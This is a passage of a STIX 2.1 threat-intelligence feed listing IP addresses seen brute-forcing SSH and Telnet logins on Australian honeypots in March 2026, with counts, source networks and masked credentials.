      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.36.76.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T03:15:04.000Z",
      "valid_until": "2026-05-01T03:15:01.000Z"
    },
    {
      "created": "2026-03-30T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--a1aeb8b1-7385-487f-9dc2-cc9b060fead7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.26.39.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T03:15:04.000Z",
      "valid_until": "2026-05-01T03:15:01.000Z"
    },
    {
      "created": "2026-03-30T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 56420. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--abdbaf60-906b-4ab1-90ac-b65a07009c87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.104.198.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T03:15:04.000Z",
      "valid_until": "2026-05-01T03:15:01.000Z"
    },
    {
      "created": "2026-03-30T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--1203d649-b629-4845-b946-c4b6483b31c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T03:15:04.000Z",
      "valid_until": "2026-05-01T03:15:01.000Z"
    },
    {
      "created": "2026-03-30T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269425. Organisation(s): RN TELECOMUNICACOES EIRELI.",
      "id": "indicator--0dc556db-0bb6-4e39-983a-39eeae4803dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.186.33.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T03:15:04.000Z",
      "valid_until": "2026-05-01T03:15:01.000Z"
    },
    {
      "created": "2026-03-30T04:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264323. Organisation(s): OXMAN TECNOLOGIA LTDA.",
      "id": "indicator--39f5fcc9-fe02-468d-ada5-3f261e051c24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.121.246.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T04:15:04.000Z",
      "valid_until": "2026-05-01T04:15:01.000Z"
    },
    {
      "created": "2026-03-30T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 78. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, T******4, a****e, z********!.",
      "id": "indicator--686cfc16-e23d-4751-abbd-d93bec1c847a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.198.62.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T04:15:04.000Z",
      "valid_until": "2026-05-01T04:15:01.000Z"
    },
    {
      "created": "2026-03-30T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, ***, 1***5, N*******3.",
      "id": "indicator--dbb94eaa-a98c-4dc3-bac1-c55a77ba4c1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.217.22.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T04:15:04.000Z",
      "valid_until": "2026-05-01T04:15:01.000Z"
    },
    {
      "created": "2026-03-30T04:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3fadb1eb-937e-48d6-9004-0e3a5d73f073",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T04:15:04.000Z",
      "valid_until": "2026-05-01T04:15:01.000Z"
    },
    {
      "created": "2026-03-30T04:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ca2ab586-c585-4e74-81b6-3519c2964731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T04:15:04.000Z",
      "valid_until": "2026-05-01T04:15:01.000Z"
    },
    {
      "created": "2026-03-30T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132754. Organisation(s): Realtel Network Services Pvt Ltd.",
      "id": "indicator--042afc22-5391-4c0b-bbf9-cbcfdb2c0a83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.110.21.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T05:15:04.000Z",
      "valid_until": "2026-05-01T05:15:01.000Z"
    },
    {
      "created": "2026-03-30T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--ec91d367-ba76-484a-b87c-9e5657614d8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.158.200.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T05:15:04.000Z",
      "valid_until": "2026-05-01T05:15:01.000Z"
    },
    {
      "created": "2026-03-30T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--b1c8c65c-ae87-4fe2-b8cb-9765fcd0b4f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.92.205.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T05:15:04.000Z",
      "valid_until": "2026-05-01T05:15:01.000Z"
    },
    {
      "created": "2026-03-30T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 400. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--69dcbc73-95a1-401b-b56b-13ceaa5be484",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.35.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T05:15:04.000Z",
      "valid_until": "2026-05-01T05:15:01.000Z"
    },
    {
      "created": "2026-03-30T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T05:15:04.000Z",
      "valid_until": "2026-05-01T05:15:01.000Z"
    },
    {
      "created": "2026-03-30T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--374b2226-a3cc-4254-8ae0-8f80da355cdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.78.59.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T05:15:04.000Z",
      "valid_until": "2026-05-01T05:15:01.000Z"
    },
    {
      "created": "2026-03-30T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--4b0680c3-a024-4a88-a337-00b7b7573cd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.251.194.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T06:15:03.000Z",
      "valid_until": "2026-05-01T06:15:01.000Z"
    },
    {
      "created": "2026-03-30T06:15:03.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--9f3e13f6-3587-4f5b-a7d1-0c2cce809fda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.2.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T06:15:03.000Z",
      "valid_until": "2026-05-01T06:15:01.000Z"
    },
    {
      "created": "2026-03-30T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******5, 1**********l, 3***********4, 3**********4, A******3.",
      "id": "indicator--7c4864cb-c4ef-4cbd-87df-478028789093",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.53.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T06:15:03.000Z",
      "valid_until": "2026-05-01T06:15:01.000Z"
    },
    {
      "created": "2026-03-30T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--77213cf5-8466-4aa0-9c40-08729e0f5192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.138.221.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T06:15:03.000Z",
      "valid_until": "2026-05-01T06:15:01.000Z"
    },
    {
      "created": "2026-03-30T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--a342a10f-c436-47ec-b331-9369e360bf7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.114.185.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T06:15:03.000Z",
      "valid_until": "2026-05-01T06:15:01.000Z"
    },
    {
      "created": "2026-03-30T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom.",
      "id": "indicator--6d4b8030-fcd2-4d6c-9668-aec51b08dc93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.37.246.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T06:15:03.000Z",
      "valid_until": "2026-05-01T06:15:01.000Z"
    },
    {
      "created": "2026-03-30T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): j******6.",
      "id": "indicator--34ea4ca6-f2aa-4819-95bc-0a85df7cb308",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.31.38.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T07:15:03.000Z",
      "valid_until": "2026-05-01T07:15:01.000Z"
    },
    {
      "created": "2026-03-30T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e8672a1e-eca9-4254-854e-f9ee04243d33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.174.84.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T08:15:04.000Z",
      "valid_until": "2026-05-01T08:15:01.000Z"
    },
    {
      "created": "2026-03-30T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9e0cde9f-f610-4755-8541-c62dc2ac4eac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T08:15:04.000Z",
      "valid_until": "2026-05-01T08:15:01.000Z"
    },
    {
      "created": "2026-03-30T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--94b99a4a-08ae-420f-9969-e992c8359e9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '204.168.205.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T08:15:04.000Z",
      "valid_until": "2026-05-01T08:15:01.000Z"
    },
    {
      "created": "2026-03-30T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--590594d0-da0a-4478-8a11-e7279b516516",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.15.11.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T08:15:04.000Z",
      "valid_until": "2026-05-01T08:15:01.000Z"
    },
    {
      "created": "2026-03-30T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 149746. Organisation(s): PT Blip Integrator Provider.",
      "id": "indicator--7ad56806-6e90-4ca0-933a-f2ca7fa63284",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.252.159.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T08:15:04.000Z",
      "valid_until": "2026-05-01T08:15:01.000Z"
    },
    {
      "created": "2026-03-30T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--bb7a9f6b-b6d6-4872-8ed8-b4b2981dd1a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.158.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T09:15:03.000Z",
      "valid_until": "2026-05-01T09:15:01.000Z"
    },
    {
      "created": "2026-03-30T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--b283d541-7de7-481a-b7e5-832577e9a183",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.168.56.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T10:15:03.000Z",
      "valid_until": "2026-05-01T10:15:01.000Z"
    },
    {
      "created": "2026-03-30T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--87bad650-a3fd-438c-8a29-ad37b20b96e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.96.35.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T10:15:03.000Z",
      "valid_until": "2026-05-01T10:15:01.000Z"
    },
    {
      "created": "2026-03-30T10:15:03.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 23, 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): **. Passwords observed (masked): **.",
      "id": "indicator--ce9acd48-bb0c-48d6-8d6d-c8e6594255e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.92.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T10:15:03.000Z",
      "valid_until": "2026-05-01T10:15:01.000Z"
    },
    {
      "created": "2026-03-30T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--83430b0b-dce7-4dbf-8250-7186940662a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.40.85.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T10:15:03.000Z",
      "valid_until": "2026-05-01T10:15:01.000Z"
    },
    {
      "created": "2026-03-30T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t. Passwords observed (masked): A*******., C******3, L********4, w********n.",
      "id": "indicator--eec2cf3a-e1c7-4fa8-b128-8cd5ff4d7725",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.92.8.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T11:15:05.000Z",
      "valid_until": "2026-05-01T11:15:01.000Z"
    },
    {
      "created": "2026-03-30T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--888b5435-621a-43fe-a8ad-a7a6f2dd6193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.76.24.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T11:15:05.000Z",
      "valid_until": "2026-05-01T11:15:01.000Z"
    },
    {
      "created": "2026-03-30T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--db7d927a-4b0e-48fc-91c2-3c9f9a3a4d05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.199.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T11:15:05.000Z",
      "valid_until": "2026-05-01T11:15:01.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
